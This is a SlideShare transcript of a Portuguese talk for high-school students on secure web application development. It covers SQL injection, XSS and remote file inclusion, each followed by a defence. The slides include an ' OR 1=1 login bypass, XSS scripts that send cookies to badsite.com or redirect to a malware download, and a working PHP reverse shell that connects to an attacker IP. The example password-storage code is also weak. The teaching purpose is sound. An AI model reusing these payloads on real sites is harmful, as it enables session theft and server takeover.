Your SlideShare is downloading. ×
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB

3,869

Published on

Palestra ministrada na escola técnica FIEB - Fundação Instituto de Educação de Barueri para alunos do ensino médio. …

Palestra ministrada na escola técnica FIEB - Fundação Instituto de Educação de Barueri para alunos do ensino médio.
A ideia foi passar o conhecimento de forma divertida/leve para melhor entendimento da galerinha!

0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
3,869
On Slideshare
0
From Embeds
0
Number of Embeds
4
Actions
Shares
0
Downloads
29
Comments
0
Likes
1
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1.  
  • 2. Quem sou eu? - Formado em Análise e Desenvolvimento de Sistemas UNIP - Analista de Segurança da Informação - Começou a desenvolver em PHP em 2003 - Começou atuação na área de Segurança em 2007 - Colaboração em projetos OpenSource
  • 3. Agenda - Motivação - O que é Segurança da Informação - Pilares da Segurança da Informação - Estratégias de Segurança - Verdades sobre a Segurança da Informação - Vulnerabilidades em Aplicações WEB - Dica FIEO (Filter Input, Escape Output) - SQL Injection - XSS – Cross-Site Scripting - Execução maliciosa de arquivo (remote file include, local file include) - Dica: Armazenamento de senhas de login
  • 4. Motivação "70% of websites at immediate risk of being hacked!" - Accunetix – Jan 2007 http://www.acunetix.com/news/security-audit-results.htm "8 out of 10 websites vulnerable to attack" - WhiteHat “security report – Nov 2006” https://whitehatsec.market2lead.com/go/whitehatsec/webappstats1106 "80% of network attacks target web-based systems" Fonte: http://www.net-security.org/secworld.php?id=9880 "75% of attacks happen at the application layer" - Gartner "64% of developers are not confident that they write secure code" - Microsoft Developer Research
  • 5. Segurança se.gu.ran.ça sf (seguro+ança) 1 Ato ou efeito de segurar; seguração. 2 Estado do que se acha seguro; garantia. 3 Proteção: Os abrigos antiaéreos não oferecem segurança contra bombas atômicas. 4 Certeza, confiança, firmeza, infalibilidade. Fonte: Dicionário Michaelis O que é Segurança da Informação? Informação É um conjunto de dados (numeros, medidas, quantidades, valores) que inseridos em um contexto passam a ter um significado.
  • 6. Segurança da Informação está relacionada com proteção de um conjunto de dados, no sentido de preservar o valor que possuem para um indivíduo ou uma organização. O que é Segurança da Informação?
  • 7. Pilares da Segurança da Informação - Confidencialidade Algo confidencial quer dizer que somente determinadas pessoas devem saber, deve-se proteger contra acesso não autorizado. - Integridade Uma informação íntegra quer dizer que não foi alterada por outrem e se mantém em seu estado original. Deve-se garantir um armazenamento seguro. - Disponibilidade A informação deve estar disponível para ser acessada a qualquer momento para os que dela necessitam. Também conhecido como “Continuidade de Negócios”.
  • 8. Estratégias de Segurança - Least Privilege (privilégio mínimo) Dar privilégio apenas para o que é necessário. - Defense in Depth (defesa em profundidade) Aplicar vários níveis de segurança - Choke Point (canal estreito) Poucas portas de entrada/saída - Weakest Link (elo mais fraco) Ponto mais frágil em determinado segmento - Fail Safe (falha segura) Planejar para falhar de forma segura - Security Through Obscurity (Segurança por Obscuridade) Esconder-se para não se tornar alvo - Diversity of Defense (Diversidade de Defesa) Significa possuir técnologias e equipamentos diferentes - KISS: Keep It Simple Stupid (simplicidade) Simplicidade remete a um maior controle do sistema/rede
  • 9. “ Não existe segurança 100%” Verdades sobre Segurança da Informação? Exemplo de Segurança em Camadas!
  • 10. Verdades sobre Segurança da Informação? “ Segurança é um processo e não é um produto” (Bruce Schneier) Segurança da Informação Instalando esse DVD tudo se tornará seguro!
  • 11. Verdades sobre Segurança da Informação? “ Enquanto 1 defende, 10 te atacam” Foi gol ou incidente?
  • 12. Verdades sobre Segurança da Informação? “ A segurança é dinâmica! Atualize-se”
  • 13. Vulnerabilidades em Aplicações WEB - SQL Injection - XSS: Cross-Site Scripting - Execução maliciosa de arquivo - Dica: armazenamento de senhas de login
  • 14. Arquitetura de uma aplicação WEB Cliente Web Site Internet Banco de Dados Firewall
  • 15. Filter Input, Escape Output Em Processamento de Dados temos: ' Entrada Processamento Saída
  • 16. Filter Input, Escape Output Em Processamento de Dados temos: Com foco em Segurança temos: ' Entrada Processamento Saída Entrada Processamento Saída Filtro Escape
  • 17. SQL Injection Ocorre quando um atacante envia comandos SQL junto com os dados que são interpretados pelo sistema, alterando o contexto original da consulta para benefício do atacante. Impacto: - Vazamento de Informação - Acesso irrestrito aos dados - Permite exibir arquivos acessíveis no SGBD - Permite criar arquivos no sistema de arquivos do SGBD - O que for possível com insert, update, delete e funções nativas do SGBD em questão. - Exploração de outras vulnerabilidades - Dependendo do caso... “O céu é o limite”
  • 18. SQL Injection Como acontece? Os dados não são filtrados/validados antes de serem processados! Exemplo de código malicioso (PHP) <?php $user = $_POST[“ username ”]; $passwd = $_POST[“ password ”]; $consulta = “ SELECT * FROM users WHERE username=' ”. $user .“ ' AND passwd=' “. $passwd . ”'”; /* … */ ?> Em um caso de uso comum, se o usuário entrar com username ADMIN e password 1234 a consulta seria processada da seguinte forma: SELECT * FROM username='ADMIN' AND passwd='1234' Caso o usuário e senha existam e sejam correspondentes um ao outro no banco de dados, será retornado o registro do usuário e a validação será feita.
  • 19. SQL Injection Ao ataque! Como fazer para ter acesso a área restrita?
  • 20. SQL Injection Ao entrar com o username: ' OR 1=1/* Estamos forçando ao banco de dados sempre retornar “verdadeiro”. O resultado da string de consulta seria o seguinte: SELECT * FROM users WHERE username=' ' OR 1=1/* ' AND passwd='' Por fim a consulta que será executada no banco de dados é: SELECT * FROM users WHERE username='' OR 1=1 /*' AND passwd=''
  • 21. SQL Injection Como se proteger? – Utilizando uma camada de abstração de dados segura. Ex.: Doctrine,Zend_DB -> PHP Hibernate -> Java ADO.NET,Linq -> .NET - Escapando os caracteres de controle do SGBD Ref: http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet No caso do código anterior, utilizando o comando mysql_real_escape_string para “escapar” os caraceres de controle: <?php $user = mysql_real_escape_string ($_POST[“ username ”]); $passwd = mysql_real_escape_string ($_POST[“ password ”]); $consulta = “ SELECT * FROM users WHERE username=' ”. $user .“ ' AND passwd=' “. $passwd . ”'”; /* … */ ?>
  • 22. XSS: Cross-Site Scripting Acontece quando a aplicação não trata a saída de dados contaminados que foram enviados anteriormente por um atacante. Impacto - Deface - Redirect para código/site malicioso - Phishing
  • 23. XSS: Cross-Site Scripting Como acontece? Imagine um blog onde o programador não filtrou o texto recebido no comentário de um post. Uma pessoa mal-intencionada pode usar o comentário para escrever código HTML/Javascript malicioso, pois o mesmo será executado quando outros abrirem o post no browser. Ex.: Roubo de Sessão com Ajax (exemplo no FF) <script type=”text/javascript”> var xmlhttp = new XMLHttpRequest(); xmlhttp.open(&quot;GET&quot;, “http://badsite.com/getcookie.php?cookie=”+document.cookie()); xmlhttp.send(null); </script> Redirect para malware <script type=”text/javascript”> window.location=”http://badsite.com/atualizacao_bancaria.exe”; </script>
  • 24. XSS: Cross-Site Scripting - Exemplo Fonte: www.zone-h.com
  • 25. XSS: Cross-Site Scripting Como evitar? - Deve-se validar a entrada substituindo as “entidades html” pelos seus respectivos códigos. Ref.: http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet Exemplo: Input do usuário: <a href=” http://badsite.com ”>Click-me</a> Saída após convertido: &lt;a href=&quot;http://badsite.com&quot;&gt;Click-me&lt;/a&gt; Dessa forma o browser exibe apenas o texto, ele não renderiza o link.
  • 26. Execução Maliciosa de Arquivo Ocorre quando o atacante consegue manipular alguma entrada de dados para injetar código malicioso e depois executá-lo no contexto do WebServer. Impacto - Executar código do lado do servidor - Instalação de backdoors - Dependendo do caso... “o céu é o limite”
  • 27. Execução Maliciosa de Arquivo Como acontece? Exemplo de página vulnerável: www.site.com/index.php?pag=produtos A página index.php recebe como parâmetro o arquivo que deve ser carregado como conteúdo. <!-- arquivo index.php --> <html> <head><title>Site</title></head> <body> <h1>Titulo</h1> <ul id=”navbar”> <li>Home</li> <li>Produtos</li> <li>Perfil</li> </ul> <div id=”conteudo”> <?php include $_GET[ “pag” ] . “.php” ; ?> </div> </body> </html>
  • 28. Execução Maliciosa de Arquivo Podemos passar no parâmetro “pag” um endereço de arquivo malicioso externo que será executado no servidor vulnerável: www.site.com/index.php?pag= http://badsite.com/backdoor Com isso, o servidor vulnerável irá se conectar ao IP do atacante e ele terá acesso ao shell do server. Owned! <?php //arquivo http://badsite.com/backdoor.php $sock = socket_create( AF_INET , SOCK_STREAM , SOL_TCP ); $result = socket_connect( $sock , &quot;IP_ATACANTE&quot; , &quot;30000&quot; ); socket_write( $sock , &quot;Ok manda balann&quot; , 15); while ( $out = socket_read( $sock , 4096)) { exec( $out , $cmd ); $cmdresult = implode( &quot;n&quot; , $cmd ) . &quot;nphp: &quot; ; socket_write( $sock , $cmdresult , strlen( $cmdresult )); } socket_close( $sock );
  • 29. Execução Maliciosa de Arquivo Como se proteger? - Não utilizar referencia direta de parâmetros para manipular arquivos. - Se for preciso, utilize uma boa validação e uma white list dos arquivos que podem ser utilizados - No caso anterior poderiamos utilizar o design pattern FrontController e concentrar a segurança em uma única entrada. (choke point).
  • 30. Dica: Armazenamento de senhas de login É muito comum encontrar sistemas onde as senhas são armazenadas em clear-text (texto puro). Risco: - O DBA pode ter acesso. - Se um atacante através de SQL Injection descobrir sua senha, ele poderá tentar utilizá-la em outras contas como: Google, Yahoo, Hotmail, Sistemas internos, etc... As senhas devem ser criptografadas utilizando criptografia de via única concatenando com uma chave de sufixo ou prefixo para evitar ataque de força bruta.
  • 31. Dica: Armazenamento de senhas de login <?php $username = valida_username($_POST[“username”]); $passwd = valida_passwd($_POST[“passwd”]); $passwd = hash('sha256', $chave . $passwd); $consulta = “INSERT INTO users (username,passwd) VALUES ({$username},{$passwd})”; /* ... */ ?> Quando for validar utilizar <?php $username = valida_username($_POST[“username”]); $passwd = valida_passwd($_POST[“passwd”]); $passwd = hash('sha256', $chave . $passwd); $user = Doctrine::getTable('users')->retrieveByUsername($username); If ($user->checkPassword($password)) { /* ... autentica */ } /* ... */ ?>
  • 32. OWASP www.owasp.org
  • 33. ... Perguntas?? Erick Belluci Tedeschi - @ericktedeschi http://oerick.com Email: [email_address] http://www.linkedin.com/in/ericktedeschi

×